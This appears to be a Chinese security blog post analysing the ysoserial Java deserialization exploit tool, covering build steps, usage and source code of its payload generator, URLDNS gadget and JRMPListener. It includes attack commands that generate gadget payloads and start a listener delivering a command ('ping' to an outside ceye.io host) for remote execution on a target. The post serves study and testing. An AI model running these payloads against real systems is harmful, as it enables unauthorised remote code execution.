4

ysoserial系列之工具浅析

 2 years ago
source link: https://www.mi1k7ea.com/2021/10/22/ysoserial%E7%B3%BB%E5%88%97%E4%B9%8B%E5%B7%A5%E5%85%B7%E6%B5%85%E6%9E%90/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x00 前言

ysoserial系列文章第一篇,主要讲讲工具的用法和基本架构。

0x01 ysoserial简介

项目地址:https://github.com/frohoff/ysoserial

ysoserial是一款Java反序列化漏洞利用神器,其中集成了许多反序列化利用Gadgets。

0x02 下载编译

前提是安装好Java 1.7+和Maven 3.x+环境。

先clone最新版到本地:

git clone https://github.com/frohoff/ysoserial.git

进入ysoserial目录中,编译jar包:

mvn clean package -DskipTests

终端输出如图则说明成功编译:

1.png

此时在ysoserial\target目录中就可以看到生成的ysoserial-0.0.6-SNAPSHOT-all.jar文件。

0x03 基本用法

官方介绍中的基本用法:

java -jar ysoserial.jar [payload] '[command]'

这种是运行ysoserial中的主类函数,比如常用的打DNSLog:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://xxx.dnslog.cn/

此外,还有一种常见用法,即运行ysoserial中的exploit类,一般用于开启交互服务:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2  rce.267hqw.ceye.io'

这里再提一下,java命令的-cp参数和-classpath参数是一样的,即指定类运行所依赖类路径、通常是类库和jar包。而java命令的-jar参数则直接执行jar包里面META-INF\MANIFEST.MF文件中指定的Main-Class。

0x04 项目结构

主要看下源码下main目录的结构:

2.png

简单说明如下:

  • exploit:漏洞利用库,如JRMP服务端和客户端等;
  • payloads:payload库,即Gadgets集合,根据选择的Gadget来生成对应的字节码;
  • secmgr:安全管理器相关;

0x05 源码浅析

入口类GeneratePayload

在pom.xml中看到,ysoserial.jar的MainClass是ysoserial.GeneratePayload类:

<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<finalName>${project.artifactId}-${project.version}-all</finalName>
<appendAssemblyId>false</appendAssemblyId>
<archive>
<manifest>
<mainClass>ysoserial.GeneratePayload</mainClass>
</manifest>
</archive>
<descriptor>assembly.xml</descriptor>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>

看到GeneratePayload类,如注释:

public class GeneratePayload {
private static final int INTERNAL_ERROR_CODE = 70;
private static final int USAGE_CODE = 64;

public static void main(final String[] args) {
// 判断输入参数,第一个为payload类型,第二个为payload的参数
if (args.length != 2) {
printUsage();
System.exit(USAGE_CODE);
}
final String payloadType = args[0];
final String command = args[1];

// 获取payload指定的类,从ysoserial.payload包中寻找
// 这里用到了泛型,指定类型为ObjectPayload接口类的实现类
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage();
System.exit(USAGE_CODE);
return; // make null analysis happy
}

try {
// 新建ObjectPayload类对象
final ObjectPayload payload = payloadClass.newInstance();
// 调用ObjectPayload类对象的getObject()函数来获取要序列化的payload对象,该对象将在反序列化时执行指定的命令
final Object object = payload.getObject(command);
PrintStream out = System.out;
// 序列化payload对象
Serializer.serialize(object, out);
// 释放payload对象
ObjectPayload.Utils.releasePayload(payload, object);
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE);
}
System.exit(0);
}

// 打印输入参数帮助文档
private static void printUsage() {
System.err.println("Y SO SERIAL?");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");
System.err.println(" Available payload types:");

final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize

final List<String[]> rows = new LinkedList<String[]>();
rows.add(new String[] {"Payload", "Authors", "Dependencies"});
rows.add(new String[] {"-------", "-------", "------------"});
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
rows.add(new String[] {
payloadClass.getSimpleName(),
Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "")
});
}

final List<String> lines = Strings.formatTable(rows);

for (String line : lines) {
System.err.println(" " + line);
}
}
}

这里借用上参考文章的图,会对GeneratePayload类中的大致调用过程比较清晰:

3.png

下面就先按上图顺序来逐个看看各个模块的作用。

ObjectPayload.Utils类

由前面看到在入口类GeneratePayload中调用得比较多的是Utils类。Utils类是位于ysoserial.payloads.ObjectPayload接口类的内部类,分析说明如注释:

package ysoserial.payloads;


import java.lang.reflect.Modifier;
import java.util.Iterator;
import java.util.Set;

import org.reflections.Reflections;

import ysoserial.GeneratePayload;


// ObjectPayload接口类,payload包中的Gadget类都是其实现类,且必须重写getObject()函数
@SuppressWarnings ( "rawtypes" )
public interface ObjectPayload <T> {

/*
* return armed payload object to be serialized that will execute specified
* command on deserialization
*/
public T getObject ( String command ) throws Exception;

// 内部类Utils
public static class Utils {

// 通过扫描ClassPath来获取指定payload类
public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
Class<? extends ObjectPayload> pc = iterator.next();
if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
iterator.remove();
}
}
return payloadTypes;
}


// 在入口类GeneratePayload中调用获取指定payload类对象
@SuppressWarnings ( "unchecked" )
public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
Class<? extends ObjectPayload> clazz = null;
try {
// 直接通过类名来获取指定类
clazz = (Class<? extends ObjectPayload>) Class.forName(className);
}
catch ( Exception e1 ) {}
if ( clazz == null ) {
try {
// 如果上述获取不到,则通过指定GeneratePayload类所在包路径来获取payloads包中指定类
return clazz = (Class<? extends ObjectPayload>) Class
.forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
}
catch ( Exception e2 ) {}
}
if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
clazz = null;
}
return clazz;
}


// 新建指定payload类对象,主要为java -cp用法即调用exploit模块,用于生成服务协议相关的交互式序列化利用链
public static Object makePayloadObject ( String payloadType, String payloadArg ) {
// 获取指定payload类
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");

}

final Object payloadObject;
try {
// 新建payload类对象
final ObjectPayload payload = payloadClass.newInstance();
// 调用指定payload类的getObject()方法,生成Gadget对象并返回
payloadObject = payload.getObject(payloadArg);
}
catch ( Exception e ) {
throw new IllegalArgumentException("Failed to construct payload", e);
}
return payloadObject;
}


// 释放payload对象
@SuppressWarnings ( "unchecked" )
public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
if ( payload instanceof ReleaseableObjectPayload ) {
( (ReleaseableObjectPayload) payload ).release(object);
}
}


public static void releasePayload ( String payloadType, Object payloadObject ) {
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");

}

try {
final ObjectPayload payload = payloadClass.newInstance();
releasePayload(payload, payloadObject);
}
catch ( Exception e ) {
e.printStackTrace();
}

}
}
}

payloads包

payloads包中的payload类是ysoserial工具的核心所在,其中包括大量反序列化Gadget链,当前只说说payload类在整个ysoserial工具中的运作流程,具体每个payload类的原理及构造利用过程将在后续系列中来说明。

前面注释中说到了payload包中的Gadget类都是ObjectPayload接口类的实现类,且必须重写其getObject()函数。也就是说,如果我们要自己添加新Gadget类,必须实现ObjectPayload接口类并重写getObject()函数,同时还需要编写main()函数中添加PayloadRunner测试方法。

以payload包中URLDNS类为例说明,其是实现了ObjectPayload接口,并重写了getObject()函数、该函数返回一个构造好的恶意的HashMap对象。比如在前面的基本用法java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://xxx.dnslog.cn/中,指定了URLDNS这个payload类的,那么在GeneratePayload入口类中获取到payload类名和命令参数值后就会调用Utils类的getPayloadClass()函数获取到URLDNS类对象,再通过调用该URLDNS类的getObject()函数将命令参数值传入来构造恶意反序列化Gadget链对象并返回对象,最后序列化该恶意构造的Gadget对象输出后便释放:

@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

Serializer与Deserializer

ysoserial的序列化和反序列化分别写在Serializer类与Deserializer类中。

如前面所述GeneratePayload入口类的流程中,在获取到指定payload类的恶意构造的Gadget对象后,会调用Serializer类的serialize()函数进行序列化操作,看到源码就是Java原生的序列化操作:

public class Serializer implements Callable<byte[]> {
private final Object object;
public Serializer(Object object) {
this.object = object;
}

public byte[] call() throws Exception {
return serialize(object);
}

public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}

public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}

}

与之对应的是Deserializer类,其中写了main()函数主要用于方便测试:

public class Deserializer implements Callable<Object> {
private final byte[] bytes;

public Deserializer(byte[] bytes) { this.bytes = bytes; }

public Object call() throws Exception {
return deserialize(bytes);
}

public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
return deserialize(in);
}

public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}

public static void main(String[] args) throws ClassNotFoundException, IOException {
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
Object object = deserialize(in);
}
}

exploit包

前面都是说的由运行ysoserial中的主类函数即入口类GeneratePayload的整个调用流程,现在来看看运行ysoserial中的exploit类的整个调用流程。

exploit包主要用于开启交互式服务,比如前面基本用法说到的开启JRMP服务端:java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2 rce.267hqw.ceye.io'

这里以JRMPListener类为例说明,只看main()函数部分,其实就是调用Utils类makePayloadObject()函数来获取Gadget对象并设置到开启的交互式服务中,然后run()开启服务、等待客户端连接后发送包括Gadget的协议报文让客户端反序列化执行恶意命令:

public static final void main ( final String[] args ) {

if ( args.length < 3 ) {
System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
System.exit(-1);
return;
}

// 调用Utils类makePayloadObject()函数来获取参数指定的payload类对象
// 其中通过传入命令参数调用该指定payload类对象的getObject()方法,生成Gadget对象并返回
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);

try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
Utils.releasePayload(args[1], payloadObject);
}

参考文章的JRMPListener启动流程图,十分清晰:

4.png

PayloadRunner测试类

前面payloads包中说到了payload类的编写必须在main()函数中添加PayloadRunner测试方法,即调用PayloadRunner.run()函数。具体说明如注释:

// 用于从命令行本地运行漏洞利用的Gadget类
@SuppressWarnings("unused")
public class PayloadRunner {

public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// 短暂替换JVM安全管理器为ExecCheckingSecurityManager来生成payload并返回序列化对象
// 为了保证payload的生成过程不会抛出异常
byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();

System.out.println("generating payload object(s) for command: '" + command + "'");

// 获取payload对象
ObjectPayload<?> payload = clazz.newInstance();
final Object objBefore = payload.getObject(command);

// 序列化payload对象并返回
System.out.println("serializing payload");
byte[] ser = Serializer.serialize(objBefore);
Utils.releasePayload(payload, objBefore);
return ser;
}});

try {
// 反序列化触发payload
System.out.println("deserializing payload");
final Object objAfter = Deserializer.deserialize(serialized);
} catch (Exception e) {
e.printStackTrace();
}

}

// 获取默认测试命令即运行打开计算器
private static String getDefaultTestCmd() {
return getFirstExistingFile(
"C:\\Windows\\System32\\calc.exe",
"/Applications/Calculator.app/Contents/MacOS/Calculator",
"/usr/bin/gnome-calculator",
"/usr/bin/kcalc"
);
}

private static String getFirstExistingFile(String ... files) {
return "calc.exe";
// for (String path : files) {
// if (new File(path).exists()) {
// return path;
// }
// }
// throw new UnsupportedOperationException("no known test executable");
}
}

0x06 参考

ysoserial 结构分析与使用


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK